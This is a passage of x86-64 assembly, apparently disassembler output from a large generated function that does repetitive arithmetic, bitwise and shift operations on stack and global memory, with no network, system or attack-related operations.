mov qword [rsp + 0xb330], rax
movzx eax, word [rsp + 0x1064]
movzx ecx, word [rsp + 0xf0c]
and eax, ecx
mov word [0x14019bef0], ax
mov rax, qword [rsp + 0xacb0]
mov ecx, dword [rsp + 0x4404]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41ac], eax
mov eax, dword [rsp + 0x4288]
mov ecx, dword [rsp + 0x4470]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb1e8]
mov dword [rcx], eax
lea rax, [rsp + 0x4334]
mov qword [rsp + 0xb338], rax
mov rax, qword [rsp + 0xacc8]
mov ecx, dword [rsp + 0x3f5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb250]
mov dword [rcx], eax
lea rax, [rsp + 0x161]
mov qword [rsp + 0xb340], rax
mov rax, qword [rsp + 0xaae8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaed0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xaae8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x5c]
movsx ecx, byte [rsp + 0x178]
xor eax, ecx
mov rcx, qword [rsp + 0xa7a8]
mov byte [rcx], al
lea rax, [rsp + 0xd44]
mov qword [rsp + 0xb348], rax
mov eax, dword [0x14019d834]
mov dword [0x14019da08], eax
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xb0d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa740]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1044]
mov word [rsp + 0x107c], ax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x176]
shl eax, cl
mov rcx, qword [rsp + 0xace8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb068]
mov eax, dword [rax]
mov dword [rsp + 0x44a0], eax
mov eax, dword [rsp + 0x42c0]
mov ecx, dword [rsp + 0x43bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x43f0], eax
mov rax, qword [rsp + 0xaa48]
mov rcx, qword [0x14019d9c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fc0], eax
lea rax, [rsp + 0x4080]
mov qword [rsp + 0xb350], rax
mov rax, qword [rsp + 0xa9c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
sub eax, ecx
mov rcx, qword [rsp + 0xaae8]
mov word [rcx], ax
lea rax, [rsp + 0x18b]
mov qword [0x14019da10], rax
lea rax, [rsp + 0x42c8]
mov qword [rsp + 0xb358], rax
mov rax, qword [rsp + 0xa8f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4440]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb080]
mov dword [rcx], eax
mov rax, qword [0x14019d848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4218]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41a0], eax
lea rax, [rsp + 0x4000]
mov qword [rsp + 0xb360], rax
mov rax, qword [rsp + 0xb068]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4480]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad80]
movzx eax, byte [rax]
mov byte [rsp + 0x1b8], al
movsx eax, word [0x14019d8e0]
movsx ecx, word [rsp + 0xc94]
add eax, ecx
mov rcx, qword [rsp + 0xae88]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1b1]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaf38]
mov byte [rcx], al
mov rax, qword [rsp + 0xae70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1018]
add eax, ecx
mov rcx, qword [0x14019d878]
mov word [rcx], ax
mov rax, qword [rsp + 0xb090]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb150]
mov qword [rsp + 0xb368], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb368]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3ca4], eax
mov rax, qword [rsp + 0xab50]
mov ecx, dword [rsp + 0x42bc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb150]
mov dword [rcx], eax
lea rax, [rsp + 0x101c]
mov qword [rsp + 0xb370], rax
movzx eax, byte [rsp + 0x19e]
movzx ecx, byte [rsp + 0x18a]
sar eax, cl
mov rcx, qword [rsp + 0xaea0]
mov byte [rcx], al
mov rax, qword [0x14019d848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4410], eax
mov rax, qword [rsp + 0xaca8]
mov eax, dword [rax]
mov dword [rsp + 0x44a4], eax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0xa698]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xafc8]
mov dword [rcx], eax
lea rax, [rsp + 0x3400]
mov qword [rsp + 0xb378], rax
lea rax, [0x14019bf6c]
mov qword [0x14019da18], rax
movzx eax, byte [rsp + 0x1ad]
mov rcx, qword [rsp + 0xafd0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xadc8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa778]
mov eax, dword [rax]
mov dword [rsp + 0x44a8], eax
mov rax, qword [rsp + 0xa740]
mov ecx, dword [rsp + 0x3aa4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1014]
sub eax, ecx
mov rcx, qword [rsp + 0xb138]
mov word [rcx], ax
mov rax, qword [rsp + 0xa900]
movzx eax, byte [rax]
mov byte [rsp + 0x1b9], al
mov rax, qword [rsp + 0xb2e8]
movzx eax, word [rax]
movzx ecx, word [0x14019bf0c]
add eax, ecx
mov word [rsp + 0xeec], ax
movzx eax, byte [rsp + 0x15c]
mov byte [rsp + 0x1ba], al
mov eax, dword [rsp + 0x44a4]
mov ecx, dword [rsp + 0x41c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4474], eax
mov rax, qword [rsp + 0xac68]
mov ecx, dword [rsp + 0x43d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bf20], eax
mov rax, qword [rsp + 0xa680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4338]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6f8]
mov dword [rcx], eax
lea rax, [rsp + 0x422c]
mov qword [rsp + 0xb380], rax
mov rax, qword [rsp + 0xaa00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4080]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa718]
mov dword [rcx], eax
movzx eax, word [rsp + 0xee4]
mov word [rsp + 0x1080], ax
movzx eax, byte [rsp + 0x1b5]
movzx ecx, byte [rsp + 0x19f]
and eax, ecx
mov rcx, qword [rsp + 0xa5d8]
mov byte [rcx], al
mov eax, dword [rsp + 0x42ec]
movzx ecx, al
mov eax, dword [0x14019bf40]
shl eax, cl
mov dword [rsp + 0x4490], eax
lea rax, [rsp + 0x4458]
mov qword [rsp + 0xb388], rax
mov rax, qword [rsp + 0xad58]
mov ecx, dword [rsp + 0x4490]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3b8c], eax
mov eax, dword [rsp + 0x4384]
movzx ecx, al
mov eax, dword [0x14019bf78]
sar eax, cl
mov dword [0x14019bf50], eax
mov rax, qword [rsp + 0xb010]
movzx eax, word [rax]
mov word [rsp + 0x1084], ax
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [0x14019bf03]
xor eax, ecx
mov rcx, qword [rsp + 0xa720]
mov byte [rcx], al
mov rax, qword [rsp + 0xa860]
movzx eax, word [rax]
mov word [rsp + 0x1088], ax
mov rax, qword [rsp + 0xa900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19a]
add eax, ecx
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0xb380]
mov ecx, dword [0x14019d840]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa8a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb0e8]
mov eax, dword [rax]
mov dword [rsp + 0x44ac], eax
mov rax, qword [rsp + 0xa628]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa9c0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x15f], al
lea rax, [rsp + 0xfac]
mov qword [rsp + 0xb390], rax
mov rax, qword [rsp + 0xace0]
mov rcx, qword [rsp + 0xb048]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bf88], eax
mov rax, qword [rsp + 0xa5c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa980]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4440]
mov ecx, dword [rsp + 0x43a8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xafb0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41f8]
mov ecx, dword [rsp + 0x3418]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3acc], eax
movzx eax, word [rsp + 0xefc]
movzx ecx, word [rsp + 0x101c]
sub eax, ecx
mov rcx, qword [rsp + 0xab18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x171]
mov byte [rsp + 0x1bb], al
mov rax, qword [rsp + 0xa9d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x415c], eax
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [0x14019d8a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4370], eax
mov eax, dword [rsp + 0x4320]
mov dword [rsp + 0x44b0], eax
mov eax, dword [rsp + 0x42e8]
mov ecx, dword [rsp + 0x4300]
add ecx, eax
mov eax, ecx
mov dword [0x14019d790], eax
mov eax, dword [0x14019d920]
mov ecx, dword [rsp + 0x4338]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x14d]
mov byte [rsp + 0x1bc], al
movsx eax, word [rsp + 0xed8]
movsx ecx, word [rsp + 0xf74]
shl eax, cl
mov rcx, qword [rsp + 0xa790]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa730]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xdb8], ax
lea rax, [rsp + 0x19e]
mov qword [rsp + 0xb398], rax
mov rax, qword [rsp + 0xaba0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ca4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3418], eax
mov eax, dword [0x14019bf40]
mov dword [rsp + 0x44b4], eax
movzx eax, word [rsp + 0x1030]
movzx ecx, word [rsp + 0x1018]
and eax, ecx
mov word [rsp + 0xf38], ax
lea rax, [rsp + 0x193]
mov qword [0x14019da20], rax
mov rax, qword [rsp + 0xa4c8]
mov eax, dword [rax]
mov dword [rsp + 0x44b8], eax
mov eax, dword [rsp + 0x441c]
mov ecx, dword [0x14019bf50]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa650]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7b8]
mov rcx, qword [rsp + 0xafb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4144], eax
lea rax, [rsp + 0x3418]
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0xa990]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf20]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa768]
mov word [rcx], ax
lea rax, [rsp + 0x1ad]
mov qword [rsp + 0xb3a8], rax
mov eax, dword [rsp + 0x3cbc]
mov ecx, dword [rsp + 0x44b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
mov rax, qword [0x14019d960]
mov rcx, qword [rsp + 0xb268]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4260], eax
mov rax, qword [rsp + 0xa558]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18c]
add eax, ecx
mov byte [0x14019bf0e], al
mov rax, qword [rsp + 0xb348]
movzx eax, word [rax]
mov word [rsp + 0x108c], ax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfa4]
sub eax, ecx
mov word [rsp + 0xeb8], ax
mov rax, qword [rsp + 0xa618]
movzx eax, byte [rax]
mov byte [rsp + 0x1bd], al
mov rax, qword [rsp + 0xa508]
mov ecx, dword [rsp + 0x3dd0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3acc], eax
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xacc0]
mov qword [rsp + 0xb3b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x41f0], eax
lea rax, [rsp + 0x426c]
mov qword [rsp + 0xb3b8], rax
mov eax, dword [0x14019bf40]
mov rcx, qword [rsp + 0xaf00]
mov qword [rsp + 0xb3c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb3c0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4168], eax
mov rax, qword [rsp + 0xab48]
mov eax, dword [rax]
mov dword [rsp + 0x44bc], eax
mov rax, qword [rsp + 0xad28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb060]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb148]
mov byte [rcx], al
movzx eax, word [rsp + 0xf28]
mov rcx, qword [0x14019d9d8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019d850], ax
mov rax, qword [rsp + 0xb150]
mov rcx, qword [rsp + 0xae40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4360], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4180]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x388c], eax
mov eax, dword [rsp + 0x3c38]
mov ecx, dword [rsp + 0x4400]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x431c]
mov dword [rsp + 0x44c0], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x167]
sub eax, ecx
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0xae28]
movzx eax, word [rax]
mov word [rsp + 0x1090], ax
movsx eax, word [rsp + 0x1054]
movsx ecx, word [rsp + 0xfec]
sub eax, ecx
mov rcx, qword [rsp + 0xaa70]
mov word [rcx], ax
movsx eax, byte [rsp + 0x18c]
movsx ecx, byte [0x14019d796]
and eax, ecx
mov rcx, qword [rsp + 0xabd8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa758]
mov ecx, dword [rsp + 0x431c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bf8c], eax
mov eax, dword [rsp + 0x41cc]
mov dword [rsp + 0x44c4], eax
mov rax, qword [rsp + 0xaab0]
movzx eax, byte [rax]
movzx ecx, byte [0x14019beee]
add eax, ecx
mov byte [rsp + 0x1bd], al
lea rax, [rsp + 0xfb0]
mov qword [rsp + 0xb3c8], rax
mov eax, dword [rsp + 0x3400]
mov ecx, dword [rsp + 0x44c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xacb0]
mov rcx, qword [rsp + 0xb2d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb388]
mov dword [rcx], eax
lea rax, [rsp + 0x3fdc]
mov qword [rsp + 0xb3d0], rax
mov eax, dword [rsp + 0x44ac]
movzx ecx, al
mov eax, dword [rsp + 0x441c]
shl eax, cl
mov rcx, qword [rsp + 0xa7e8]
mov dword [rcx], eax
lea rax, [rsp + 0xfc4]
mov qword [rsp + 0xb3d8], rax
movzx eax, byte [rsp + 0x153]
movzx ecx, byte [rsp + 0x194]
sar eax, cl
mov byte [0x14019900a], al
mov rax, qword [rsp + 0xb380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42c4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb278]
mov dword [rcx], eax
mov eax, dword [rsp + 0x433c]
mov ecx, dword [0x14019d7e0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4378], eax
lea rax, [rsp + 0x4318]
mov qword [rsp + 0xb3e0], rax
mov rax, qword [rsp + 0xb110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x440c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xafe0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4200]
mov dword [rsp + 0x44c8], eax
movsx eax, byte [rsp + 0x169]
mov rcx, qword [rsp + 0xa8b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1a8], al
movzx eax, word [rsp + 0x108c]
mov word [rsp + 0x1094], ax
movzx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0xafd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0xaf68]
movzx eax, word [rax]
mov word [0x14019da28], ax
mov rax, qword [rsp + 0xae00]
mov ecx, dword [rsp + 0x4474]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x431c], eax
mov rax, qword [0x14019d8c8]
mov eax, dword [rax]
mov dword [rsp + 0x44cc], eax
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1090]
add eax, ecx
mov rcx, qword [rsp + 0xad50]
mov word [rcx], ax
mov rax, qword [rsp + 0xb148]
movzx eax, byte [rax]
mov byte [rsp + 0x1be], al
mov rax, qword [rsp + 0xaf50]
mov ecx, dword [0x14019bf40]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43a8], eax
mov rax, qword [rsp + 0xa568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41fc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaaa8]
mov dword [rcx], eax
lea rax, [rsp + 0x4204]
mov qword [rsp + 0xb3e8], rax
mov rax, qword [rsp + 0xa6b8]
mov rcx, qword [0x14019d960]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xabf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf94]
add eax, ecx
mov word [0x14019d870], ax
lea rax, [rsp + 0x194]
mov qword [rsp + 0xb3f0], rax
mov rax, qword [rsp + 0xa708]
mov rcx, qword [rsp + 0xacc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa798]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3d34]
mov ecx, dword [rsp + 0x4498]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xadc0]
mov dword [rcx], eax
lea rax, [rsp + 0x14b]
mov qword [rsp + 0xb3f8], rax
mov rax, qword [0x14019d7a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb0f8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa578]
mov word [rcx], ax
mov rax, qword [rsp + 0xa868]
movzx eax, word [rax]
mov word [rsp + 0x1098], ax
mov rax, qword [rsp + 0xa9d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x183]
xor eax, ecx
mov rcx, qword [rsp + 0xb0c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xac98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019bf74]
shl eax, cl
mov rcx, qword [rsp + 0xa748]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6f8]
mov rcx, qword [rsp + 0xac70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019bf90], eax
lea rax, [rsp + 0x3cbc]
mov qword [rsp + 0xb400], rax
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
mov ecx, dword [0x14019bf74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4130], eax
mov rax, qword [rsp + 0xafc8]
mov ecx, dword [rsp + 0x4200]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ce4], eax
movzx eax, word [rsp + 0xfd8]
mov rcx, qword [rsp + 0xa828]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1050], ax
movzx eax, byte [rsp + 0x14e]
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0xa5b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad20]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad40]
mov ecx, dword [rsp + 0x4250]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaf60]
mov dword [rcx], eax
lea rax, [rsp + 0x4484]
mov qword [rsp + 0xb408], rax
mov rax, qword [rsp + 0xb0c0]
mov rcx, qword [rsp + 0xa668]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bf18], eax
movzx eax, word [0x14019bf08]
movzx ecx, word [rsp + 0x1018]
and eax, ecx
mov word [rsp + 0x1080], ax
mov rax, qword [rsp + 0xa970]
movzx eax, byte [rax]
mov byte [rsp + 0x1c0], al
movsx eax, byte [rsp + 0x14d]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xafa8]
mov byte [rcx], al
mov rax, qword [0x14019d940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1014]
xor eax, ecx
mov rcx, qword [rsp + 0xb308]
mov word [rcx], ax
mov eax, dword [rsp + 0x3acc]
mov dword [rsp + 0x44d0], eax
mov rax, qword [rsp + 0xa6b8]
mov rcx, qword [rsp + 0xa920]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x43ac], eax
mov rax, qword [0x14019d988]
movzx eax, byte [rax]
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0xad68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa640]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xec0], ax
mov rax, qword [rsp + 0xb170]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4494]
shr eax, cl
mov dword [0x14019d938], eax
mov eax, dword [rsp + 0x4414]
mov ecx, dword [rsp + 0x3fdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4224]
mov dword [rsp + 0x44d4], eax
mov rax, qword [rsp + 0xacb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4234]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4194], eax
mov rax, qword [rsp + 0xaeb0]
movzx eax, byte [rax]
mov byte [rsp + 0x1c2], al
mov rax, qword [rsp + 0xada8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa9f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaec8]
mov word [rcx], ax
lea rax, [rsp + 0x3400]
mov qword [rsp + 0xb410], rax
mov rax, qword [rsp + 0xa670]
mov eax, dword [rax]
mov ecx, dword [0x14019d790]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaaa8]
mov ecx, dword [rsp + 0x431c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaf28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4144]
mov ecx, dword [rsp + 0x4260]
sub ecx, eax
mov eax, ecx
mov dword [str.so_g_], eax
mov eax, dword [rsp + 0x3c48]
mov dword [rsp + 0x44d8], eax
mov rax, qword [rsp + 0xa9e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b9]
add eax, ecx
mov byte [rsp + 0x19a], al
mov rax, qword [rsp + 0xa578]
movzx eax, word [rax]
mov word [rsp + 0x109c], ax
mov rax, qword [0x14019d7c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0xb178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb320]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae28]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2f0]
mov rcx, qword [rsp + 0xaba0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3da0], eax
mov rax, qword [rsp + 0xb140]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x41a0]
shl eax, cl
mov dword [rsp + 0x4330], eax
movzx eax, byte [rsp + 0x17b]
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0xa8c0]
movzx eax, word [rax]
mov word [0x14019da2c], ax
mov eax, dword [rsp + 0x3348]
mov ecx, dword [rsp + 0x41d0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb218]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4440]
mov ecx, dword [rsp + 0x433c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa920]
mov dword [rcx], eax
mov eax, dword [rsp + 0x44d8]
mov dword [rsp + 0x44dc], eax
mov rax, qword [rsp + 0xb090]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x444c]
shr eax, cl
mov dword [rsp + 0x439c], eax
mov rax, qword [rsp + 0xae28]
movzx eax, word [rax]
mov word [rsp + 0x10a0], ax
movzx eax, byte [rsp + 0x15e]
movzx ecx, byte [rsp + 0x156]
add eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xab48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4450], eax
mov rax, qword [rsp + 0xb108]
mov eax, dword [rax]
mov dword [rsp + 0x44e0], eax
mov rax, qword [0x14019d868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1038]
and eax, ecx
mov rcx, qword [0x14019d7a8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x178]
movsx ecx, byte [rsp + 0x196]
sub eax, ecx
mov byte [rsp + 0x1b9], al
lea rax, [rsp + 0xf94]
mov qword [rsp + 0xb418], rax
movzx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0xac78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb148]
mov byte [rcx], al
mov rax, qword [rsp + 0xa758]
mov eax, dword [rax]
mov dword [rsp + 0x44e4], eax
mov eax, dword [rsp + 0x4428]
mov ecx, dword [rsp + 0x42f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb190]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaaf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4294]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb220]
mov dword [rcx], eax
lea rax, [rsp + 0x3e4c]
mov qword [rsp + 0xb420], rax
mov rax, qword [rsp + 0xa810]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ef8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x445c], eax
movzx eax, word [rsp + 0xf40]
mov word [rsp + 0x10a4], ax
movzx eax, byte [rsp + 0x189]
movzx ecx, byte [rsp + 0x191]
sub eax, ecx
mov byte [0x140199009], al
mov rax, qword [0x14019d7b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4244], eax
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x421c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4150], eax
mov rax, qword [rsp + 0xafc0]
mov eax, dword [rax]
mov dword [rsp + 0x44e8], eax
mov eax, dword [0x14019bf34]
mov ecx, dword [rsp + 0x4340]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b0], eax
movzx eax, word [rsp + 0xf28]
mov word [rsp + 0x10a8], ax
mov rax, qword [rsp + 0xb020]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaea0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0xa6d8]
movsx eax, word [rax]
mov rcx, qword [0x14019d7a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf20], ax
movsx eax, byte [rsp + 0x178]
movsx ecx, byte [rsp + 0x169]
shl eax, cl
mov byte [rsp + 0x7b], al
mov rax, qword [rsp + 0xa5f0]
mov ecx, dword [rsp + 0x4340]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019bf98], eax
mov rax, qword [rsp + 0xab30]
mov ecx, dword [rsp + 0x4354]
